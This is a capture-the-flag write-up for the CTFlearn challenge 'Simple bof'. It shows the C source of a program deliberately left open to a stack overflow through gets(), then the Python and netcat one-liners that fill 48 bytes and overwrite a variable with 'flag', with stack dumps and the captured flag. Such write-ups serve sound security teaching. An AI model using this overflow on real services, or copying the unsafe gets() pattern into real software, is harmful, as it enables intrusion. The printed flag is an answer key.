Simple bof
6 minutes to read
We have the C source code of a binary and a remote instance to connect to. Basically, what the program does is call function gets, which is vulnerable to Buffer Overflow, and then compare a local variable with a certain value:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
// Defined in a separate source file for simplicity.
void init_visualize(char* buff);
void visualize(char* buff);
void safeguard();
void print_flag();
void vuln() {
char padding[16];
char buff[32];
int notsecret = 0xffffff00;
int secret = 0xdeadbeef;
memset(buff, 0, sizeof(buff)); // Zero-out the buffer.
memset(padding, 0xFF, sizeof(padding)); // Zero-out the padding.
// Initializes the stack visualization. Don't worry about it!
init_visualize(buff);
// Prints out the stack before modification
visualize(buff);
printf("Input some text: ");
gets(buff); // This is a vulnerable call!
// Prints out the stack after modification
visualize(buff);
// Check if secret has changed.
if (secret == 0x67616c66) {
puts("You did it! Congratuations!");
print_flag(); // Print out the flag. You deserve it.
return;
} else if (notsecret != 0xffffff00) {
puts("Uhmm... maybe you overflowed too much. Try deleting a few characters.");
} else if (secret != 0xdeadbeef) {
puts("Wow you overflowed the secret value! Now try controlling the value of it!");
} else {
puts("Maybe you haven't overflowed enough characters? Try again?");
}
exit(0);
}
int main() {
setbuf(stdout, NULL);
setbuf(stdin, NULL);
safeguard();
vuln();
}
The aim of the challenge is to modify the variable secret so that it is equal to 0x67616c66 and we enter in the if clause that calls print_flag.
If we execute the program, it shows the stack to help us with the exploitation:
$ nc thekidofarcrania.com 35235
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED CORRECT secret
0xffb1c278 | 00 00 00 00 00 00 00 00 |
0xffb1c280 | 00 00 00 00 00 00 00 00 |
0xffb1c288 | 00 00 00 00 00 00 00 00 |
0xffb1c290 | 00 00 00 00 00 00 00 00 |
0xffb1c298 | ff ff ff ff ff ff ff ff |
0xffb1c2a0 | ff ff ff ff ff ff ff ff |
0xffb1c2a8 | ef be ad de 00 ff ff ff |
0xffb1c2b0 | c0 75 ef f7 84 7f 60 56 |
0xffb1c2b8 | c8 c2 b1 ff 11 5b 60 56 |
0xffb1c2c0 | e0 c2 b1 ff 00 00 00 00 |
Input some text: AAAA
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED CORRECT secret
0xffb1c278 | 41 41 41 41 00 00 00 00 |
0xffb1c280 | 00 00 00 00 00 00 00 00 |
0xffb1c288 | 00 00 00 00 00 00 00 00 |
0xffb1c290 | 00 00 00 00 00 00 00 00 |
0xffb1c298 | ff ff ff ff ff ff ff ff |
0xffb1c2a0 | ff ff ff ff ff ff ff ff |
0xffb1c2a8 | ef be ad de 00 ff ff ff |
0xffb1c2b0 | c0 75 ef f7 84 7f 60 56 |
0xffb1c2b8 | c8 c2 b1 ff 11 5b 60 56 |
0xffb1c2c0 | e0 c2 b1 ff 00 00 00 00 |
Maybe you haven't overflowed enough characters? Try again?
We need to enter more characters to reach the red numbers on the stack (namely, 48 characters). Let’s test it:
$ python3 -c 'print("A" * 48 + "B" * 4)' | nc thekidofarcrania.com 35235
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED CORRECT secret
0xff995cb8 | 00 00 00 00 00 00 00 00 |
0xff995cc0 | 00 00 00 00 00 00 00 00 |
0xff995cc8 | 00 00 00 00 00 00 00 00 |
0xff995cd0 | 00 00 00 00 00 00 00 00 |
0xff995cd8 | ff ff ff ff ff ff ff ff |
0xff995ce0 | ff ff ff ff ff ff ff ff |
0xff995ce8 | ef be ad de 00 ff ff ff |
0xff995cf0 | c0 e5 f3 f7 84 af 5c 56 |
0xff995cf8 | 08 5d 99 ff 11 8b 5c 56 |
0xff995d00 | 20 5d 99 ff 00 00 00 00 |
Input some text:
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED CORRECT secret
0xff995cb8 | 41 41 41 41 41 41 41 41 |
0xff995cc0 | 41 41 41 41 41 41 41 41 |
0xff995cc8 | 41 41 41 41 41 41 41 41 |
0xff995cd0 | 41 41 41 41 41 41 41 41 |
0xff995cd8 | 41 41 41 41 41 41 41 41 |
0xff995ce0 | 41 41 41 41 41 41 41 41 |
0xff995ce8 | 42 42 42 42 00 ff ff ff |
0xff995cf0 | c0 e5 f3 f7 84 af 5c 56 |
0xff995cf8 | 08 5d 99 ff 11 8b 5c 56 |
0xff995d00 | 20 5d 99 ff 00 00 00 00 |
Wow you overflowed the secret value! Now try controlling the value of it!
Nice, we have control over the value of secret. Now we need to overwrite it with 0x67616c66 in order to call print_flag. The hexadecimal number must be sent in little-endian format (that is, the bytes in reverse order: "\x66\x6c\x61\x67"). Fortunately, these bytes are ASCII printable characters that correspond to the string "flag". Let’s use it:
$ python3 -c 'print("\x66\x6c\x61\x67")'
flag
$ python3 -c 'print("A" * 48 + "flag")' | nc thekidofarcrania.com 35235
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED CORRECT secret
0xffc59198 | 00 00 00 00 00 00 00 00 |
0xffc591a0 | 00 00 00 00 00 00 00 00 |
0xffc591a8 | 00 00 00 00 00 00 00 00 |
0xffc591b0 | 00 00 00 00 00 00 00 00 |
0xffc591b8 | ff ff ff ff ff ff ff ff |
0xffc591c0 | ff ff ff ff ff ff ff ff |
0xffc591c8 | ef be ad de 00 ff ff ff |
0xffc591d0 | c0 e5 f3 f7 84 af 5c 56 |
0xffc591d8 | 08 5d 99 ff 11 8b 5c 56 |
0xffc591e0 | 20 5d 99 ff 00 00 00 00 |
Input some text:
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED CORRECT secret
0xffc59198 | 41 41 41 41 41 41 41 41 |
0xffc591a0 | 41 41 41 41 41 41 41 41 |
0xffc591a8 | 41 41 41 41 41 41 41 41 |
0xffc591b0 | 41 41 41 41 41 41 41 41 |
0xffc591b8 | 41 41 41 41 41 41 41 41 |
0xffc591c0 | 41 41 41 41 41 41 41 41 |
0xffc591c8 | 66 6c 61 67 00 ff ff ff |
0xffc591d0 | c0 75 f1 f7 84 7f 5e 56 |
0xffc591d8 | e8 91 c5 ff 11 5b 5e 56 |
0xffc591e0 | 00 92 c5 ff 00 00 00 00 |
You did it! Congratuations!
CTFlearn{buffer_0verflows_4re_c00l!}